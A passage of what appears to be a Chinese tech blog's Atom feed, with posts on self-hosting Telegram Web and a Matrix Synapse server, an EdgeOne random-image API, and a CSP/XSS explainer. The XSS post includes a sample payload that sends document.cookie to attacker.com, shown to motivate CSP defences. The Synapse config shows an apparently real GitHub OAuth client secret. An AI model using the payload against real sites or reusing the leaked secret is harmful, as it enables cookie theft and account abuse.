    0px 10px 20px -15px rgba(22, 23, 24, 0.2);
  animation-duration: 400ms;
  animation-timing-function: cubic-bezier(0.16, 1, 0.3, 1);
  will-change: transform, opacity;
}
.ScreenityDropdownMenuContent[data-side=&amp;quot;top&amp;quot;] {
  animation-name: slideDownAndFade;
}
.ScreenityDropdownMenuContent[data-side=&amp;quot;right&amp;quot;] {
  animation-name: slideLeftAndFade;
}
.ScreenityDropdownMenuContent[data-side=&amp;quot;bottom&amp;quot;] {
  animation-name: slideUpAndFade;
}
.ScreenityDropdownMenuContent[data-side=&amp;quot;left&amp;quot;] {
  animation-name: slideRightAndFade;
}
.ScreenityItemIndicator {
  position: absolute;
  right: 12px; 
  width: 18px;
  height: 18px;
  background: #3080F8;
  border-radius: 50%;
  display: inline-flex;
  align-items: center;
  justify-content: center;
}
.ScreenityDropdownMenuItem,
.ScreenityDropdownMenuRadioItem {
  font-size: 14px;
  line-height: 1;
  display: flex;
  align-items: center;
  height: 40px;
  padding: 0 5px;
  position: relative;
  padding-left: 22px;
  padding-right: 22px;
  user-select: none;
  outline: none;
}
.ScreenityDropdownMenuItem:hover {
    background-color: #F6F7FB !important;
    cursor: pointer;
}
.ScreenityDropdownMenuItem[data-disabled] {
  color: #6E7684; !important;
  cursor: not-allowed;
  background-color: #F6F7FB !important;
}



@keyframes slideUpAndFade {
  from {
    opacity: 0;
    transform: translateY(2px);
  }
  to {
    opacity: 1;
    transform: translateY(0);
  }
}

@keyframes slideRightAndFade {
  from {
    opacity: 0;
    transform: translateX(-2px);
  }
  to {
    opacity: 1;
    transform: translateX(0);
  }
}

@keyframes slideDownAndFade {
  from {
    opacity: 0;
    transform: translateY(-2px);
  }
  to {
    opacity: 1;
    transform: translateY(0);
  }
}

@keyframes slideLeftAndFade {
  from {
    opacity: 0;
    transform: translateX(2px);
  }
  to {
    opacity: 1;
    transform: translateX(0);
  }
}

&amp;lt;&#x2F;style&amp;gt;&amp;lt;&#x2F;div&amp;gt;&amp;lt;&#x2F;div&amp;gt;&amp;lt;&#x2F;body&amp;gt;&amp;lt;div id=&amp;quot;immersive-translate-popup&amp;quot; style=&amp;quot;all: initial&amp;quot;&amp;gt;&amp;lt;&#x2F;div&amp;gt;&amp;lt;&#x2F;html&amp;gt;
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;注意，如果什么都不做直接开放到公网大概率会吃Abuse&lt;&#x2F;p&gt;
&lt;p&gt;&lt;img src=&quot;&#x2F;assets&#x2F;images&#x2F;2025-08-02-18-30-40-75bf069f14b199651db36b1bda015bc2_720.jpg&quot; alt=&quot;&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;h1 id=&quot;yuan-li&quot;&gt;原理&lt;&#x2F;h1&gt;
&lt;p&gt;TG Web采用前后端分离&lt;&#x2F;p&gt;
&lt;p&gt;前端为静态资产，可以直接部署到Cloudflare Page&lt;&#x2F;p&gt;
&lt;p&gt;后端有高达10个API，反代一下即可&lt;&#x2F;p&gt;
&lt;p&gt;然后将前端请求的 &lt;code&gt;.web.telegram.org&lt;&#x2F;code&gt;  改为你的域名即可&lt;&#x2F;p&gt;
&lt;h1 id=&quot;zheng-shi-kai-shi&quot;&gt;正式开始&lt;&#x2F;h1&gt;
&lt;blockquote&gt;
&lt;p&gt;以 TG Web K举例子&lt;&#x2F;p&gt;
&lt;&#x2F;blockquote&gt;
&lt;p&gt;TG 后端API共有10个，分别为&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code data-lang=&quot;bash&quot;&gt;pluto.web.telegram.org
venus.web.telegram.org
aurora.web.telegram.org
vesta.web.telegram.org
flora.web.telegram.org
pluto-1.web.telegram.org
venus-1.web.telegram.org
aurora-1.web.telegram.org
vesta-1.web.telegram.org
flora-1.web.telegram.org
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;假如我的域名是 &lt;code&gt;072103.xyz&lt;&#x2F;code&gt; ，则为 &lt;code&gt;pluto.web.072103.xyz&lt;&#x2F;code&gt; 。其他的以此类推&lt;&#x2F;p&gt;
&lt;p&gt;Fork 仓库： &lt;a rel=&quot;noopener external&quot; target=&quot;_blank&quot; href=&quot;https://github.com&#x2F;morethanwords&#x2F;tweb&quot;&gt;morethanwords&#x2F;tweb: Telegram Web K, GPL v3&lt;&#x2F;a&gt;&lt;&#x2F;p&gt;
&lt;p&gt;全局搜索 &lt;code&gt;.web.telegram.org&lt;&#x2F;code&gt; 替换为 &lt;code&gt;.web.072103.xyz&lt;&#x2F;code&gt;&lt;&#x2F;p&gt;
&lt;p&gt;将该仓库部署到Cloudflare Page，构建命令为 &lt;code&gt;pnpm build&lt;&#x2F;code&gt; ，构建输出目录为 &lt;code&gt;public&lt;&#x2F;code&gt;&lt;&#x2F;p&gt;
&lt;h1 id=&quot;cheng-gong&quot;&gt;成功&lt;&#x2F;h1&gt;
&lt;p&gt;&lt;img src=&quot;&#x2F;assets&#x2F;images&#x2F;2025-08-02-18-21-46-0c8fc3ac93604c65401132aaa59c803d_720.jpg&quot; alt=&quot;&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
</content>
        
    </entry>
    <entry xml:lang="zh">
        <title>QQ微信不够私密？自建自己的聊天服务器！</title>
        <published>2025-08-02T00:00:00+00:00</published>
        <updated>2025-08-02T00:00:00+00:00</updated>
        
        <author>
          <name>
            
              AcoFork
            
          </name>
        </author>
        
        <link rel="alternate" type="text/html" href="https://af-archive-zola-classic.pages.dev/posts/self-host-matrix/"/>
        <id>https://af-archive-zola-classic.pages.dev/posts/self-host-matrix/</id>
        
        <content type="html" xml:base="https://af-archive-zola-classic.pages.dev/posts/self-host-matrix/">&lt;p&gt;由于Synapse、Matrix（下文简称”矩阵“）手搓部署非常麻烦。所以请安装 &lt;strong&gt;1Panel面板&lt;&#x2F;strong&gt;&lt;&#x2F;p&gt;
&lt;h1 id=&quot;bu-shu-postgresql&quot;&gt;部署PostgreSQL&lt;&#x2F;h1&gt;
&lt;p&gt;安装并创建名为 &lt;code&gt;synapse&lt;&#x2F;code&gt; 用户名也为 &lt;code&gt;synapse&lt;&#x2F;code&gt; 的数据库&lt;&#x2F;p&gt;
&lt;p&gt;前往应用商店安装 &lt;code&gt;PGAdmin4&lt;&#x2F;code&gt;&lt;&#x2F;p&gt;
&lt;p&gt;&lt;img src=&quot;&#x2F;assets&#x2F;images&#x2F;2025-08-02-17-24-58-image.png&quot; alt=&quot;&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;p&gt;接着点击添加服务器&lt;&#x2F;p&gt;
&lt;p&gt;&lt;img src=&quot;&#x2F;assets&#x2F;images&#x2F;2025-08-02-17-27-10-image.png&quot; alt=&quot;&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;p&gt;相关信息可以在连接信息看到&lt;&#x2F;p&gt;
&lt;p&gt;&lt;img src=&quot;&#x2F;assets&#x2F;images&#x2F;2025-08-02-17-27-53-image.png&quot; alt=&quot;&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;p&gt;&lt;strong&gt;删除&lt;&#x2F;strong&gt;刚刚创建的 &lt;code&gt;synapse&lt;&#x2F;code&gt; 这个数据库&lt;&#x2F;p&gt;
&lt;p&gt;&lt;img src=&quot;&#x2F;assets&#x2F;images&#x2F;2025-08-02-17-28-49-image.png&quot; alt=&quot;&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;p&gt;重新创建同名数据库&lt;&#x2F;p&gt;
&lt;p&gt;设置所有者（即用户名）为 &lt;code&gt;synapse&lt;&#x2F;code&gt;&lt;&#x2F;p&gt;
&lt;p&gt;&lt;img src=&quot;&#x2F;assets&#x2F;images&#x2F;2025-08-02-17-29-36-image.png&quot; alt=&quot;&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;p&gt;将 &lt;code&gt;排序规则&lt;&#x2F;code&gt; 和 &lt;code&gt;字符类型&lt;&#x2F;code&gt; 都改为 &lt;code&gt;C&lt;&#x2F;code&gt;&lt;&#x2F;p&gt;
&lt;p&gt;&lt;img src=&quot;&#x2F;assets&#x2F;images&#x2F;2025-08-02-17-30-34-image.png&quot; alt=&quot;&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;h1 id=&quot;bu-shu-synapse&quot;&gt;部署Synapse&lt;&#x2F;h1&gt;
&lt;p&gt;首先参照1Panel官方的教程去创建一个存储卷，否则安装 &lt;code&gt;synapse&lt;&#x2F;code&gt; 会失败&lt;&#x2F;p&gt;
&lt;p&gt;&lt;img src=&quot;&#x2F;assets&#x2F;images&#x2F;2025-08-02-17-32-00-image.png&quot; alt=&quot;&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;p&gt;安装 &lt;code&gt;synapse&lt;&#x2F;code&gt;&lt;&#x2F;p&gt;
&lt;p&gt;导航到文件管理： &lt;code&gt;&#x2F;var&#x2F;lib&#x2F;docker&#x2F;volumes&#x2F;synapse-data&#x2F;_data&lt;&#x2F;code&gt;&lt;&#x2F;p&gt;
&lt;p&gt;你应该可以看到&lt;&#x2F;p&gt;
&lt;p&gt;&lt;img src=&quot;&#x2F;assets&#x2F;images&#x2F;2025-08-02-17-33-50-image.png&quot; alt=&quot;&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;p&gt;编辑 &lt;code&gt;homeserver.yaml&lt;&#x2F;code&gt; ，并按需配置&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code data-lang=&quot;yaml&quot;&gt;server_name: &amp;quot;家服务器名称，比如：m.2x.nz&amp;quot;
public_baseurl: &amp;quot;公共URL，比如：https://m.2x.nz&amp;quot;
pid_file: &#x2F;data&#x2F;homeserver.pid

serve_server_wellknown: true # 启用联邦

listeners:
  - port: 8008
    tls: false
    type: http
    x_forwarded: true
    resources:
      - names: [client, federation]
        compress: false
    response_headers:
      Access-Control-Allow-Origin: &amp;quot;https://app.element.io&amp;quot;
      Access-Control-Allow-Methods: &amp;quot;GET, POST, OPTIONS&amp;quot;
      Access-Control-Allow-Headers: &amp;quot;Content-Type, Authorization&amp;quot;

database:
  name: psycopg2
  args:
    user: synapse
    password: 你的数据库密码
    dbname: synapse
    host: 你的PostgreSQL的容器名称
    cp_min: 5
    cp_max: 10

log_config: &amp;quot;&#x2F;data&#x2F;my.matrix.host.log.config&amp;quot;
media_store_path: &#x2F;data&#x2F;media_store

registration_shared_secret: &amp;quot;这里的东西是随机生成的，每个人都不一样，请忽略这一块，并使用你的配置&amp;quot;
macaroon_secret_key: &amp;quot;这里的东西是随机生成的，每个人都不一样，请忽略这一块，并使用你的配置&amp;quot;
form_secret: &amp;quot;这里的东西是随机生成的，每个人都不一样，请忽略这一块，并使用你的配置&amp;quot;
signing_key_path: &amp;quot;&#x2F;data&#x2F;my.matrix.host.signing.key&amp;quot;

report_stats: false

trusted_key_servers:
  - server_name: &amp;quot;matrix.org&amp;quot;

# Github OAuth
oidc_providers:
  - idp_id: github
    idp_name: Github
    idp_brand: &amp;quot;github&amp;quot;  # optional: styling hint for clients
    discover: false
    issuer: &amp;quot;https://github.com&#x2F;&amp;quot;
    client_id: &amp;quot;Ov23liaHxxYHybb0jRoZ&amp;quot; # TO BE FILLED
    client_secret: &amp;quot;e937f214ea7c132924ab34c76d83f4b7099d696e&amp;quot; # TO BE FILLED
    authorization_endpoint: &amp;quot;https://github.com&#x2F;login&#x2F;oauth&#x2F;authorize&amp;quot;
    token_endpoint: &amp;quot;https://github.com&#x2F;login&#x2F;oauth&#x2F;access_token&amp;quot;
    userinfo_endpoint: &amp;quot;https://api.github.com&#x2F;user&amp;quot;
    scopes: [&amp;quot;read:user&amp;quot;]
    user_mapping_provider:
      config:
        subject_claim: &amp;quot;id&amp;quot;
        localpart_template: &amp;quot;{{ user.login }}&amp;quot;
        display_name_template: &amp;quot;{{ user.name }}&amp;quot;

### ✅ 邮件配置（确保SMTP验证正常）
email:
  smtp_host: &amp;quot;你的SMTP发件服务器&amp;quot;
  smtp_port: 465
  smtp_user: &amp;quot;你的发件邮箱&amp;quot;
  smtp_pass: &amp;quot;你的SMTP密码&amp;quot;
  force_tls: true
  notif_from: &amp;quot;Matrix &amp;lt;你的发件邮箱&amp;gt;&amp;quot;
  validation_token_lifetime: &amp;quot;5m&amp;quot;

### ✅ 启用注册 + 邮箱验证 + 密码找回
enable_registration: true
registrations_require_3pid:
  - email
registration_requires_token: false   # 确保不强制邀请码注册（默认关闭）
password_config:
  enabled: true

### ✅ 允许邮箱登录
login_via_existing_session:
  enabled: true

rc_registration:
  per_second: 0.003  # 每秒允许的注册请求（例如：0.003 ≈ 每5分钟一次）
  burst_count: 1     # 同一IP地址的最大注册突发数

  # 消息发送速率限制
rc_message:
  per_second: 0.2    # 每秒允许发送的消息数
  burst_count: 10    # 突发消息缓冲区大小

# 房间加入速率限制
rc_joins:
  local:
    per_second: 0.1   # 本地用户加入房间的速率
    burst_count: 10
  remote:
    per_second: 0.01  # 远程用户加入房间的速率
    burst_count: 10

# 媒体保留设置
media_retention:
  # 本地媒体文件的保留时间
  local_media_lifetime: 90d
  
  # 远程媒体文件的保留时间（来自其他homeserver的媒体）
  remote_media_lifetime: 14d

# 删除陈旧设备的时间
delete_stale_devices_after: 1y

auto_join_rooms:
  - &amp;quot;#XXX:你的家服务器URL&amp;quot; # 需要自动加入的房间
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;按需配置，更多高级配置参阅： &lt;a rel=&quot;noopener external&quot; target=&quot;_blank&quot; href=&quot;https://element-hq.github.io&#x2F;synapse&#x2F;latest&#x2F;usage&#x2F;configuration&#x2F;homeserver_sample_config.html&quot;&gt;Homeserver Sample Config File - Synapse&lt;&#x2F;a&gt;&lt;&#x2F;p&gt;
&lt;h1 id=&quot;chuang-jian-guan-li-yuan-zhang-hao&quot;&gt;创建管理员账号&lt;&#x2F;h1&gt;
&lt;p&gt;连接上容器的终端然后输入这串命令创建管理员账号&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code data-lang=&quot;bash&quot;&gt;register_new_matrix_user  http:&#x2F;&#x2F;localhost:8008 -c &#x2F;data&#x2F;homeserver.yaml  -a -u 管理员用户名 -p 密码
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;h1 id=&quot;kai-shi-liao-tian&quot;&gt;开始聊天&lt;&#x2F;h1&gt;
&lt;p&gt;前往 https://app.element.io 将家服务器改为你的（必须为HTTPS）&lt;&#x2F;p&gt;
&lt;p&gt;通过刚刚创建的管理员账号登录&lt;&#x2F;p&gt;
&lt;p&gt;其他人可以通过邮箱注册&lt;&#x2F;p&gt;
</content>
        
    </entry>
    <entry xml:lang="zh">
        <title>对标CF Worker？拿EdgeOne边缘函数做一个随机图API！</title>
        <published>2025-08-01T00:00:00+00:00</published>
        <updated>2025-08-01T00:00:00+00:00</updated>
        
        <author>
          <name>
            
              AcoFork
            
          </name>
        </author>
        
        <link rel="alternate" type="text/html" href="https://af-archive-zola-classic.pages.dev/posts/eo-function/"/>
        <id>https://af-archive-zola-classic.pages.dev/posts/eo-function/</id>
        
        <content type="html" xml:base="https://af-archive-zola-classic.pages.dev/posts/eo-function/">&lt;p&gt;前往 &lt;a rel=&quot;noopener external&quot; target=&quot;_blank&quot; href=&quot;https://github.com&#x2F;afoim&#x2F;EdgeOne_Function_PicAPI&quot;&gt;afoim&#x2F;EdgeOne_Function_PicAPI: 适用于EdgeOne边缘函数的随机图API&lt;&#x2F;a&gt;&lt;&#x2F;p&gt;
&lt;p&gt;复制 &lt;code&gt;worker.js&lt;&#x2F;code&gt; 代码&lt;&#x2F;p&gt;
&lt;p&gt;部署到EdgeOne边缘函数&lt;&#x2F;p&gt;
&lt;p&gt;&lt;img src=&quot;&#x2F;assets&#x2F;images&#x2F;4274a5c6-c3d5-468b-8c98-d515a0a22762.webp&quot; alt=&quot;&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;p&gt;将代码开头的 &lt;code&gt;R2_CONFIG&lt;&#x2F;code&gt; 设为你自己的&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code data-lang=&quot;js&quot;&gt;var R2_CONFIG = {
  region: &amp;#39;auto&amp;#39;,
  service: &amp;#39;s3&amp;#39;,
  accountId: &amp;#39;&amp;#39;,
  accessKeyId: &amp;#39;&amp;#39;,
  secretAccessKey: &amp;#39;&amp;#39;,
  bucketName: &amp;#39;&amp;#39;
};
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;配置你的R2，将横屏随机图放到 &lt;code&gt;ri&#x2F;h&lt;&#x2F;code&gt; 和 &lt;code&gt;ri&#x2F;v&lt;&#x2F;code&gt; 。保证跟代码中的路径一样&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code data-lang=&quot;js&quot;&gt;    &#x2F;&#x2F; 根据路径确定前缀
    var prefix = &amp;#39;&amp;#39;;
    if (pathname === &amp;#39;&#x2F;h&amp;#39;) {
      prefix = &amp;#39;ri&#x2F;h&#x2F;&amp;#39;;
    } else if (pathname === &amp;#39;&#x2F;v&amp;#39;) {
      prefix = &amp;#39;ri&#x2F;v&#x2F;&amp;#39;;
    } else if (pathname === &amp;#39;&#x2F;&amp;#39;) {
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;访问 &lt;code&gt;&#x2F;h&lt;&#x2F;code&gt; 则展示一张横屏随机图，访问 &lt;code&gt;&#x2F;v&lt;&#x2F;code&gt; 则展示一张竖屏随机图&lt;&#x2F;p&gt;
&lt;p&gt;&lt;img src=&quot;&#x2F;assets&#x2F;images&#x2F;fe7629b7-2acd-4e84-bd0c-d66ee7a54528.webp&quot; alt=&quot;&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;p&gt;如果需要绑定域名请设置触发规则&lt;&#x2F;p&gt;
&lt;p&gt;&lt;img src=&quot;&#x2F;assets&#x2F;images&#x2F;33d931d4-e7cd-4d5d-afd8-85b787524391.webp&quot; alt=&quot;&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;h1 id=&quot;zhu-yi&quot;&gt;注意&lt;&#x2F;h1&gt;
&lt;p&gt;边缘函数每月有300万次的请求数限制，暂不知道超出是否扣费&lt;&#x2F;p&gt;
</content>
        
    </entry>
    <entry xml:lang="zh">
        <title>CSP标头是什么？为什么有人能神不知鬼不觉地盗走你的信息？</title>
        <published>2025-07-31T00:00:00+00:00</published>
        <updated>2025-07-31T00:00:00+00:00</updated>
        
        <author>
          <name>
            
              AcoFork
            
          </name>
        </author>
        
        <link rel="alternate" type="text/html" href="https://af-archive-zola-classic.pages.dev/posts/csp/"/>
        <id>https://af-archive-zola-classic.pages.dev/posts/csp/</id>
        
        <content type="html" xml:base="https://af-archive-zola-classic.pages.dev/posts/csp/">&lt;p&gt;这是一个无CSP标头的网站： &lt;a rel=&quot;noopener external&quot; target=&quot;_blank&quot; href=&quot;https://none-csp-demo.pages.dev&#x2F;nocsp?name=%3Cimg%20src=x%20onerror=%22alert(%27XSS%E6%94%BB%E5%87%BB%E6%88%90%E5%8A%9F%27)%22%3E&quot;&gt;点我&lt;&#x2F;a&gt;&lt;&#x2F;p&gt;
&lt;p&gt;不出意外，你的浏览器会弹出一个提示&lt;&#x2F;p&gt;
&lt;p&gt;&lt;img src=&quot;&#x2F;assets&#x2F;images&#x2F;b279f283-b5d2-4dbd-955e-5b3bba6ff656.webp&quot; alt=&quot;&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;h1 id=&quot;zhe-shi-ru-he-zuo-dao-de&quot;&gt;这是如何做到的？&lt;&#x2F;h1&gt;
&lt;p&gt;这个项目开源在 &lt;a rel=&quot;noopener external&quot; target=&quot;_blank&quot; href=&quot;https://github.com&#x2F;afoim&#x2F;none_csp_demo&quot;&gt;afoim&#x2F;none_csp_demo&lt;&#x2F;a&gt;&lt;&#x2F;p&gt;
&lt;p&gt;HTML内容为&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code data-lang=&quot;html&quot;&gt;&amp;lt;!DOCTYPE html&amp;gt;
&amp;lt;html&amp;gt;
&amp;lt;head&amp;gt;
  &amp;lt;meta charset=&amp;quot;UTF-8&amp;quot;&amp;gt;
  &amp;lt;title&amp;gt;欢迎页面&amp;lt;&#x2F;title&amp;gt;
&amp;lt;&#x2F;head&amp;gt;
&amp;lt;body&amp;gt;
  &amp;lt;h1&amp;gt;欢迎&amp;lt;&#x2F;h1&amp;gt;
  &amp;lt;p&amp;gt;你好，&amp;lt;span id=&amp;quot;name&amp;quot;&amp;gt;&amp;lt;&#x2F;span&amp;gt;！&amp;lt;&#x2F;p&amp;gt;

  &amp;lt;script&amp;gt;
    &#x2F;&#x2F; 从 URL 参数读取用户名并显示
    const params = new URLSearchParams(location.search);
    const name = params.get(&amp;quot;name&amp;quot;);
    document.getElementById(&amp;quot;name&amp;quot;).innerHTML = name;
  &amp;lt;&#x2F;script&amp;gt;
&amp;lt;&#x2F;body&amp;gt;
&amp;lt;&#x2F;html&amp;gt;
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;这个网站非常简单，网页通过查询符 &lt;code&gt;?name=xxx&lt;&#x2F;code&gt; 来动态显示用户名&lt;&#x2F;p&gt;
&lt;p&gt;比如你输入 https://none-csp-demo.pages.dev&#x2F;nocsp?name=AcoFork 网页就会显示&lt;&#x2F;p&gt;
&lt;p&gt;&lt;img src=&quot;&#x2F;assets&#x2F;images&#x2F;366d0934-9c3a-4196-a7ae-1c230c916daf.webp&quot; alt=&quot;&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;p&gt;而根据源码 网页是通过 &lt;code&gt;innerHTML&lt;&#x2F;code&gt; 直接进行文本插入的&lt;&#x2F;p&gt;
&lt;p&gt;这种方式没有任何的安全审查，会将传入的内容直接拼接到HTML中&lt;&#x2F;p&gt;
&lt;p&gt;那么...如果我们给网站这样一个 &lt;code&gt;name&lt;&#x2F;code&gt; 呢？&lt;&#x2F;p&gt;
&lt;p&gt;尝试输入&lt;&#x2F;p&gt;
&lt;p&gt;https://none-csp-demo.pages.dev&#x2F;nocsp?name=%3Cimg%20src=x%20onerror=%22alert(%27XSS%E6%94%BB%E5%87%BB%E6%88%90%E5%8A%9F%27)%22%3E&lt;&#x2F;p&gt;
&lt;p&gt;你会发现网站并没有打印出任何用户名，而且浏览器还弹出了一个奇怪的窗口&lt;&#x2F;p&gt;
&lt;p&gt;&lt;img src=&quot;&#x2F;assets&#x2F;images&#x2F;e86cfeed-a9d4-402b-aed0-fc3624f3e925.webp&quot; alt=&quot;&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;p&gt;我们F12查看当前网页的源代码&lt;&#x2F;p&gt;
&lt;p&gt;&lt;img src=&quot;&#x2F;assets&#x2F;images&#x2F;ad38bc52-e689-4923-b79c-894dc9ab4136.webp&quot; alt=&quot;&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;p&gt;发现在 &lt;code&gt;&amp;lt;span id=&quot;name&quot;&amp;gt;&amp;lt;&#x2F;span&amp;gt;&lt;&#x2F;code&gt; 中&lt;&#x2F;p&gt;
&lt;p&gt;被插入了一条 &lt;code&gt;&amp;lt;img src=&quot;x&quot; onerror=&quot;alert(&#x27;XSS攻击成功&#x27;)&quot;&amp;gt;&lt;&#x2F;code&gt; ！&lt;&#x2F;p&gt;
&lt;p&gt;也就是说，网页把我们传入的 &lt;code&gt;name&lt;&#x2F;code&gt; 并没有解析为纯文本&lt;&#x2F;p&gt;
&lt;p&gt;而是暴力的直接插入了HTML&lt;&#x2F;p&gt;
&lt;p&gt;导致浏览器并没有渲染出来  &lt;code&gt;你好，&amp;lt;img src=&quot;x&quot; onerror=&quot;alert(&#x27;XSS攻击成功&#x27;)&quot;&amp;gt; ！&lt;&#x2F;code&gt;&lt;&#x2F;p&gt;
&lt;p&gt;而是直接将 &lt;code&gt;&amp;lt;img src=&quot;x&quot; onerror=&quot;alert(&#x27;XSS攻击成功&#x27;)&quot;&amp;gt;&lt;&#x2F;code&gt; 作为HTML去执行了！&lt;&#x2F;p&gt;
&lt;p&gt;由于 &lt;code&gt;src=x&lt;&#x2F;code&gt; 必定无法获取，又因为设置了 &lt;code&gt;onerror&lt;&#x2F;code&gt; 这个回退源&lt;&#x2F;p&gt;
&lt;p&gt;导致浏览器直接执行了 &lt;code&gt;alert(&#x27;XSS攻击成功&#x27;)&lt;&#x2F;code&gt; 这个脚本！&lt;&#x2F;p&gt;
&lt;h1 id=&quot;you-shen-me-wei-hai&quot;&gt;有什么危害？&lt;&#x2F;h1&gt;
&lt;p&gt;举一反三，既然我们能让浏览器弹出一个提示框&lt;&#x2F;p&gt;
&lt;p&gt;那也就能做到其他事情&lt;&#x2F;p&gt;
&lt;p&gt;攻击者完全可以伪造一条URL，然后发给你，比如&lt;strong&gt;获取你的浏览器Cookie然后通过Fetch发送到指定的服务器&lt;&#x2F;strong&gt;！！！
&lt;code&gt;https://victim-site.com&#x2F;page?name=&amp;lt;img src=x onerror=&quot;fetch(&#x27;https://attacker.com&#x2F;log?cookie=&#x27;+document.cookie)&quot;&amp;gt;&lt;&#x2F;code&gt;&lt;&#x2F;p&gt;
&lt;h1 id=&quot;ru-he-she-zhi-cspyi-bi-mian-zhe-lei-gong-ji&quot;&gt;如何设置CSP以避免这类攻击？&lt;&#x2F;h1&gt;
&lt;p&gt;尝试访问这个URL，该URL设置了严格的CSP策略&lt;&#x2F;p&gt;
&lt;p&gt;https://none-csp-demo.pages.dev&#x2F;csp?name=%3Cimg%20src=x%20onerror=%22alert(%27XSS%E6%94%BB%E5%87%BB%E6%88%90%E5%8A%9F%27)%22%3E&lt;&#x2F;p&gt;
&lt;p&gt;你会发现并未弹出提示框，并且F12控制台出现报错&lt;&#x2F;p&gt;
&lt;p&gt;&lt;img src=&quot;&#x2F;assets&#x2F;images&#x2F;2febeecf-6f54-4c6a-b775-ef2ac8598f37.webp&quot; alt=&quot;&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;p&gt;&lt;strong&gt;以下是GPT给出的翻译和解释&lt;&#x2F;strong&gt;&lt;&#x2F;p&gt;
&lt;p&gt;&lt;strong&gt;翻译：&lt;&#x2F;strong&gt;&lt;&#x2F;p&gt;
&lt;blockquote&gt;
&lt;p&gt;拒绝执行内联脚本，因为它违反了以下 CSP 指令：&lt;code&gt;script-src &#x27;self&#x27;&lt;&#x2F;code&gt;。要允许执行内联脚本，必须使用 &lt;code&gt;&#x27;unsafe-inline&#x27;&lt;&#x2F;code&gt; 关键字、指定哈希值（例如 &lt;code&gt;&#x27;sha256-raHeKmhSLYgI2dPMTS+XHraijHkbV3RTs8np6RhiKqQ=&#x27;&lt;&#x2F;code&gt;），或使用随机数（例如 &lt;code&gt;&#x27;nonce-...&#x27;&lt;&#x2F;code&gt;）。&lt;&#x2F;p&gt;
&lt;&#x2F;blockquote&gt;
&lt;p&gt;&lt;strong&gt;解释：&lt;&#x2F;strong&gt;&lt;br &#x2F;&gt;
你的 CSP 策略里规定只能加载本域（&lt;code&gt;&#x27;self&#x27;&lt;&#x2F;code&gt;）的脚本，但是你在 HTML 页面中写了 &lt;code&gt;&amp;lt;script&amp;gt;...&amp;lt;&#x2F;script&amp;gt;&lt;&#x2F;code&gt; 这样的&lt;strong&gt;内联脚本&lt;&#x2F;strong&gt;（inline script）。这被当前 CSP 限制了，无法执行。&lt;&#x2F;p&gt;
&lt;p&gt;这样我们就成功避免了XSS攻击&lt;&#x2F;p&gt;
&lt;p&gt;在HTML head中添加以下内容即可&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code data-lang=&quot;html&quot;&gt;  &amp;lt;!-- 安全的 CSP 策略 --&amp;gt;
  &amp;lt;meta http-equiv=&amp;quot;Content-Security-Policy&amp;quot; content=&amp;quot;
    default-src &amp;#39;self&amp;#39;;
    script-src &amp;#39;self&amp;#39;;
    object-src &amp;#39;none&amp;#39;;
    frame-ancestors &amp;#39;none&amp;#39;;
    base-uri &amp;#39;self&amp;#39;;
  &amp;quot;&amp;gt;
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;h1 id=&quot;ru-he-bao-zheng-wo-de-shu-ju-an-quan&quot;&gt;如何保证我的数据安全？&lt;&#x2F;h1&gt;
&lt;ol&gt;
&lt;li&gt;
&lt;p&gt;如果你正在运营站点，&lt;strong&gt;请确保各个站点设置了严格的CSP策略&lt;&#x2F;strong&gt;。这样，即使有攻击者想要XSS注入，也会被CSP策略拦截&lt;&#x2F;p&gt;
&lt;&#x2F;li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;不要随意点击来历不明的链接或扫描来历不明的二维码&lt;&#x2F;strong&gt;。对于短链接、混淆后的链接，首先先解析出最终链接，评估风险后再访问。或者使用无痕模式访问。也许目标网站并没有严格的CSP策略，这可能会导致你的个人数据泄露&lt;&#x2F;p&gt;
&lt;&#x2F;li&gt;
&lt;&#x2F;ol&gt;
</content>
        
    </entry>
    <entry xml:lang="zh">
        <title>如何提高网站的SEO？</title>
        <published>2025-07-30T00:00:00+00:00</published>
        <updated>2025-07-30T00:00:00+00:00</updated>
        
        <author>
          <name>
            
              AcoFork
            
          </name>
        </author>
        
        <link rel="alternate" type="text/html" href="https://af-archive-zola-classic.pages.dev/posts/improve-seo/"/>
        <id>https://af-archive-zola-classic.pages.dev/posts/improve-seo/</id>
        
        <content type="html" xml:base="https://af-archive-zola-classic.pages.dev/posts/improve-seo/">&lt;blockquote&gt;
&lt;p&gt;即每个HTML head部分的 &lt;code&gt;title&lt;&#x2F;code&gt;&lt;&#x2F;p&gt;
&lt;&#x2F;blockquote&gt;
